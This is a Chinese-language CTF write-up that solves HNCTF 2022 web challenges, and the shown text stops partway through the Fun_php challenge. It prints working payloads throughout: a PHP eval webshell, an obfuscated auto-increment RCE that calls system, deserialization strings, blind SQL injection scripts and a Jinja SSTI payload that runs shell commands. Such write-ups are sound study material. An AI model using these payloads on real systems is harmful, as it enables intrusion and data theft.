主頁 >  其他 > 2022HNCTF--WEB--部分

2022HNCTF--WEB--部分

2022-10-30 07:33:43 其他

寫在前面:這是部分WP 一些比較有難度的我這小菜雞也不會 等官方WP 我會補充

目錄
  • [Week1]Interesting_http
    • 分析
    • payload
  • [Week1]2048
    • 分析
    • payload
  • [Week1]easy_html
    • 分析
    • paylaod
  • [Week1]Interesting_include
    • 分析
    • payload
  • [Week1]easy_upload
    • 分析
    • payload
  • [Week1]What is Web
    • 分析
    • payload
  • [Week1]Challenge__rce--自增RCE
    • 分析
    • payload
  • [WEEK2]easy_include -- 包含日志
    • 分析
    • payload
  • [WEEK2]ez_ssrf
    • 分析
    • payload
  • [WEEK2]Canyource -- 無引數RCE
    • 分析
    • payload
  • [WEEK2]easy_unser
    • 分析
    • payload
  • [WEEK2]easy_sql -- 無列名盲注
    • 分析
    • payload
  • [WEEK2]ez_SSTI -- 無過濾
    • 分析
    • payload
  • [WEEK2]ohmywordpress
  • [WEEK3]ez_phar
    • 分析
  • [WEEK3]Fun_php
    • 分析
    • payload
  • [WEEK3]ssssti
    • 分析
    • payload

[Week1]Interesting_http

分析

應該和http協議有關 想要什么 肯定flag

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-0Is2GDWt-1666973111128)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/1666972230013-1e6c375b-ee3b-427d-8e29-7df382e20751-16669726368142.png)]

說我們不是admin 看看cookie

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-HjeGTS6h-1666973111129)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170143595.png)]

修改cookie在這里插入圖片描述

繼續修改 x-forwarded-for

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-czZfl2wk-1666973111130)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170312095.png)]

payload

POST:want=flag
請求頭 Cookie: user=admin
	  x-forwarded-for:127.0.0.1

[Week1]2048

分析

題目描述

你能達到20000分嗎?應該是要求我們玩到20000分

F12查看腳本

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-I4PpmmCA-1666973111130)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170621722.png)]

直接輸入

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-tB3Ia9S7-1666973111131)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170637534.png)]

payload

在控制臺輸入

alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));

[Week1]easy_html

分析

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ecU3AgtC-1666973111132)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170744760.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-GZmHQtW0-1666973111132)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170812253.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-vmHH0a5C-1666973111133)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170828618.png)]

輸入框限制了11位 f12修改html屬性 或者直接post引數

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-pYgjTlcQ-1666973111133)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170928310.png)]

paylaod

POST請求引數
cnt=11111111111&login=%E7%99%BB%E5%BD%95

[Week1]Interesting_include

分析

題目描述:web手要懂得搜索 應該要借助瀏覽器

一眼偽協議

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-n2mt0JPN-1666973111134)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026171036902.png)]

base64解碼

在這里插入圖片描述

payload

GET:
?filter=php://filter/convert.base64-encode/resource=flag.php
base64解碼

[Week1]easy_upload

分析

檔案上傳題目

試探一下上傳個木馬

<?php eval($_POST[1]);?>

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-dEqywAYm-1666973111135)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026171337477.png)]

我敲,直接上傳成功 有些不對勁哦!

訪問一下下試試,我敲 送分題

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-tKrDzbaz-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172150775.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-CWRwFpT9-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172222398.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9G7Zf4Er-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172229588.png)]

payload

直接上傳php一句話木馬
flag在根目錄下

[Week1]What is Web

分析

我敲 我傻了 這個題沒寫

直接查看原始碼 搜索 flag 或者 <!
在這里插入圖片描述
base64解碼

payload

也就是看原始碼

[Week1]Challenge__rce--自增RCE

分析

hint:ctf吃瓜杯

打開源檔案,查看原始碼 發現hint

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-mxXpJtSA-1666973111137)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026215456485.png)]

直接給出的是原始碼

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-xHsf0zmL-1666973111137)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026215521446.png)]

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    //長度小于等于120
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            //不能含有以下內容
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

先跑一下試試那些可見字符沒有被過濾

for($i=32;$i<127;$i++){
    if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))) {
        echo chr($i);
    }
}

#  $()+,.0123456789;=[]_{} 發現這些可以使用 那么 思路來了 自增RCE

大致說一下

php中 $_ = []._; echo $_; => Array_ $_[0]==>A 這樣就可以構造命令執行
本題中限制字符120 我們可以構造chr函式 拼接GET
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);


url編碼
%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_1%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B(%24%24_%5B1%5D)()%3B

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-5WFTN9Ih-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026222606031-16667943670284.png)]

說明是可行的

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

這樣說是太長了 emmm

檢查發現寫的有點問題 改進以下

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);


GET
?1=system&2=ls

POST
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-mYKYRUbj-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026225911182.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-JwwDTUgG-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230033386.png)]

payload

GET
?1=system&2=cat /ffflllaaaggg

POST
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

[WEEK2]easy_include -- 包含日志

分析

<?php
//WEB手要懂得搜索

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

過濾了php date flag 看來是無法直接讀取flag 而且無法使用偽協議

想到之前學的檔案包含利用姿勢:包含訪問日志 查看以下服務器

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-YJ097Sua-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230929757.png)]

默認檔案位置在:

/var/log/nginx/access.log

直接包含以下

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-yoYTGg0Z-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230957150.png)]

payload

就是抓包在請求頭寫入一個木馬 連接就好

[WEEK2]ez_ssrf

分析

根據題目訪問index.php

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

考點就是php socket 偽造http請求ssrf

猜測有flag.php 直接發送請求看看,等到幾十秒 給出如下反應 那就訪問本機把

?data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogNDMuMTQzLjcuOTcNCkNvbm5lY3Rpb246IENsb3NlDQoNCg==&host=43.143.7.97&port=28819

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FrJVpLfI-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093454019.png)]

但是訪問本機22819埠無回顯,考慮一般都是80埠 試試唄

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-6L7w5Gjj-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093534865.png)]

這里要等待估計30s左右

其實一開始我就訪問的本機80 但是因為等的好久就關了!!

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ZUwFtG67-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093734103.png)]

payload

?data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80

[WEEK2]Canyource -- 無引數RCE

分析

打開發現直接給的原始碼

highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
        eval($_GET['code']);}
    else
        die('nonono');}
else
    echo('please input code');

ok發現此條正則運算式

  • 任意字符加()被替換為空

  • R就是代表當前的遍歷 也就是替換后的$_GET['code']

  • 這個是遞回的替換,也就是將a(v(1));=>1;

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

題目要求替換后的是;,也就是我們傳參的類似a(b(c(x())));

無引數RCE 可以網上一搜很多的

下面我們開始進行解flag

  • localeconv() -- 函式回傳一個包含本地數字及貨幣格式資訊的陣列 第一個是.
  • pos() -- 回傳陣列中的當前單元, 默認取第一個值
  • next -- 將內部指標指向陣列下一個元素并輸出
  • scandir() -- 掃描目錄
  • array_reverse() -- 翻轉陣列

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-QNlIb2xG-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112321439.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-HF2JMkmf-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112330919.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-PF115PM7-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112342952.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-x01YiRdw-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112430537.png)]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-hMPCJiMX-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112604918.png)]

下面就是輸出flag.php的內容

過濾了

url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\/

使用 file_get_contents讀取

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9zesh3Co-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112752274.png)]

查看原始碼

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-tHJZWcQX-1666973111142)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112758866.png)]

payload

?code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));

[WEEK2]easy_unser

分析

PHP反序列化 打開題目為原始碼

include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";
    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鮑勃,別傻愣著!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
        }
    }
}

class unserializeorder{
    public $CORE = "人類最大的敵人,就是無序. Yahi param vaastavikta hai!<BR>";
    function __sleep(){
        $About_me = "When the object is serialized,I will be called";
        echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
    }
    function __toString(){
        $About_me = "When the object is used as a string,I will be called";
        return $this->CORE;
    }
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);


if (isset($_GET['ywant']))
{
    $ywant = @unserialize(@$_GET['ywant']);
    echo $ywant;
}

審計一波原始碼

我們的目標是  highlight_file($this->want); 也就是 body 類
傳入 ywant 
要保證 不觸發 __wakeup()  傳入引數數量大于實際引數數量繞過
繞過 $this->want == "f14g.php" OR is_file($this->want) 
    - 偽協議 is_file檢測除了file外的偽協議都是false
    - 假目錄   ./flase/../f14g.php 

POC

<?php 
    class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $this->want = "./a/../f14g.php";
        //或者  $this->want = "php://filter/convert.base64-encode/resource=f14g.php";
        $this->todonothing = "22";
    }
}
echo(urlencode(serialize(new body())));
?>

在這里插入圖片描述

payload

O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22.%2Fa%2F..%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D

或者

O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D

[WEEK2]easy_sql -- 無列名盲注

分析

打開題目,發現頁面的回顯只有:1的、錯誤、error 三種 可以考慮盲注了

and && ^ # --+ 都被過濾

  • 盲注的話考慮:與、異或、按位或、按位與
  • 沒有辦法閉合考慮 or ||

sql中字符數字可以和數字進行按位或

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-4oiShfqr-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026232213666.png)]

構造 1'|1||' 正確回顯 1'|2||' 錯誤回顯

然后進行爆破資料庫長度

發現資料庫的長度是3

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-u0wNKgDJ-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026174631076.png)]

進一步嘗試,order、information_schema都被過濾

information_schema 被過濾 -> 無列名注入

order 被過濾 -> group 替換

爆破資料庫的列數,3列

1'group/**/by/**/3,'
前面的'閉合1前的'    后面的是閉合之前有的' 
加上,分開 因為過濾了# 和 + 無法注釋 而order by group by要在最后 使用,分割

select * from xx where id = '1'group by 5,'2'

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-k1IXrpJS-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026193545902.png)]

information_schema.table被過濾 可以使用 mysql.innodb_table_stats

腳本爆破一下表的名字 得出 ccctttfff

def get_cloumns():
    count = 1
    flag = ''
    while True:
        for i in range(32, 127):
            data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"}
            resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
            if success in resp.text:
                flag += chr(i)
                print(flag)
                count += 1
                break
            elif i == 126:
                return False
            time.sleep(0.05)

下面無列名爆破資料

select 1,2,3 union select * from ccctttfff

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-QmKgz93H-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194312863.png)]

這樣以來 1 2 3 分別對應一列 二列 三列 的列名

然后

select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a

select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-fMfggjyA-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194427324.png)]

這樣就可以在沒有列名的情況下查詢到資料庫資訊

然后我們開始盲注

1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'

運行了好多遍 遍歷出來的三列分別是

# 第一列  1
# 第二列  bob
# 第三列 I am so handsome

嗚嗚嗚,跑了好多遍,終于懷疑:出題人是不是沒有把flag放到這資料庫

重新跑所有的資料庫庫名

qwq,原諒我太菜

跑出來有兩個資料庫

ctf
ccctttfff

# 這個腳本的缺點:半自動 但是跑出來的表不會重復 需要修改 
#  limit 0,1 =>第一個資料庫
#  limit 1,1 =>第二個資料庫
#  ......
def get_all_database():
    flag = ''
    count = 1
    while True:
        for i in range(32, 127):
            data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"}
            resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
            if success in resp.text:
                flag += chr(i)
                print(flag)
                break
            elif i == 126:
                return False
            time.sleep(0.1)
        count += 1

# 這個腳本的缺點:有多少個表 就會跑多少個資料庫 資料庫會重復
def get_all_database():
    flag =''
    count = 1
    while True:
        for i in range(32, 127):
            data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"}
            resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
            if success in resp.text:
                flag += chr(i)
                print(flag)
                break
            elif i == 126:
                return False
            time.sleep(0.1)
        count += 1

第一個腳本結果:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Dkp2cagP-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113412616.png)]

第二個腳本結果:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-g55lVKlk-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113035256.png)]

然后我跑的是所有的表名

因為知道ccctttff屬于ctf,那么跑出來的其余的都是ctftraining的

# 結果:
#    ctf:ccctttfff
#    ctftraining:flag,news,users,gtid_slave_pos
def get_tables():
    count = 1
    flag = ''
    while True:
        for i in range(32, 127):
            data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"}
            resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
            if success in resp.text:
                flag += chr(i)
                print(flag)
                count += 1
                break
            elif i == 126:
                return False
            time.sleep(0.05)

我是估計flag就在flag表里面,但是把無列名查詢我們要知道表中具體的列數的 我們又不知道flag表多少列

我查了資料也沒找到,因為information_schema被過濾,有大佬知道可以說下的!

然后就是靠懵了

比賽中表的列數一般會小于10 也就 3 4 5左右

我是從1開始試的

1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'

腳本

def get_values():
    count = 1
    flag = ''
    while True:
        for i in range(32, 127):
            data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
            resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
            print(i)
            if success in resp.text:
                flag += chr(i)
                print(flag)
                count += 1
                break
            elif i == 126:
                return False
            time.sleep(0.05)

最后也是跑出來了

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-oBfMminE-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027114429123.png)]

PS:這個題挺雞賊的哈哈哈

payload

就放的最后的

def get_values():
    count = 1
    flag = ''
    while True:
        for i in range(32, 127):
            data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/{"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
            resp = requests.post(url=url, data=https://www.cnblogs.com/yb0osing/archive/2022/10/29/data)
            print(i)
            if success in resp.text:
                flag += chr(i)
                print(flag)
                count += 1
                break
            elif i == 126:
                return False
            time.sleep(0.05)

[WEEK2]ez_SSTI -- 無過濾

分析

get引數是name,無過濾 直接SSTI注入就好

payload

?name={{"".__class__.__mro__[1].__subclasses__()[226].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag').read()")}}

[WEEK2]ohmywordpress

版本是6.0.2 好像是存在sql注入 但是沒搜到相關資料

[WEEK3]ez_phar

分析

直接猜測的就是上傳目錄是upload 上傳一個 phar檔案
直接訪問webshell管理工具連接就好了

[WEEK3]Fun_php

分析

打開題目直接給出的是原始碼

<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;

$getUserID = @$_GET['user']; 
$getpass = (int)@$_GET['pass']; 
$getmySaid = @$_GET['mySaid']; 
$getmyHeart = @$_GET['myHeart']; 

$data = https://www.cnblogs.com/yb0osing/archive/2022/10/29/@$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
    echo "Welcom T0 1he HNCTF2022<BR>";

if("state_HNCTF2022" == 1) echo $hint;
    else echo "HINT? NoWay~!<BR>";


if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if($user == 114514 && $getpass == $pass){
    if (!ctype_alpha($getmySaid)) 
        die();
    if (!is_numeric($getmyHeart)) 
        die();
    if(md5($getmySaid) != md5($getmyHeart)){
        die("Cheater!");
    }
    else
        $week_1 = true;
}

if(is_array($data)){
    for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
        $week_2 = true;

    else
        die("HACK!");
}
if($week_1 && $week_2){
    if(md5($data)===md5($verify))
        // ??HNCTF??Welcome to
        if ("hn" == $_GET['hn'] &??+!!??& "?? Flag!??ctf" == $_GET[??LAG??ctf]) { //HN! flag!! F
        
            if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
                die("HACK!");
       
                else{
                    echo "Fine!you win";
                    system("cat ./$want");
                 }
    }
    else
        die("HACK!");
}

?> 

掃一眼 是要我們 $week_1 $week_2 均為true會給出flag

第一個$week_1

// 首先第一個if  對傳入的getuserid進行判斷是否為字串  肯定是字串 
// 那么會拼接 我們要的是$user=114514  但是拼接了怎么辦? 
// u5er_D0_n0t_b3g1n_with_4_numb3r 翻譯一下 user_do_not_begin_with_4_number 
// 我理解的大概就是 user沒有以數字開頭  php中 非數字開頭字串+數字字串 = 數字字串 測驗一下
if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

測驗 :

<?php
echo "9a"+'10';  // 19
echo "\n";
echo "a9"+"11";  // 11 題目中屬于這個情況 也就是最終的 $user = $getUserID;
echo "\n";
echo "9a"+'a8';  // 9
echo "\n";
echo "a4"+'a8';  // 0

那么我們知道要傳入user=114514

// 然后進入第二個if 如果 $getpass和$pass相等 那么進入判斷
// 在前面發現 $getpass = (int)@$_GET['pass'];   要轉入數字  只要傳入不是數字開頭字串 那$getpass一定為0  假如 $pass是字母開頭 那么 就可以進入判斷  我們試一下 
if($user == 114514 && $getpass == $pass){
   //.....
}

給user傳入114514 給pass傳字符 mySaid 傳純字母 myHeart傳純數字

如果回傳了Cheater!說明 $pass 就是字母開頭 給pass傳字母來繞過,假設成立

// 下面就是md5弱比較繞過  
if (!ctype_alpha($getmySaid)) 
        die();
    if (!is_numeric($getmyHeart)) 
        die();
    // 要求$getmySaid是純字母 $getmyHeart是數字 而且 md5兩者相等 這里是 != 弱判斷
    // 使用 md5 之后是0e開頭就可以繞過
    //mySaid=TUFEPMC   myHeart=1586264293 
    if(md5($getmySaid) != md5($getmyHeart)){
        die("Cheater!");
    }
    else
        $week_1 = true;

如下,我們讓第一個 $week_1 = true;

user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293

下面實作第二個

// 這個if 首先判斷傳入的 data 是不是一個陣列
// 我們要先了解一下array_search的漏洞
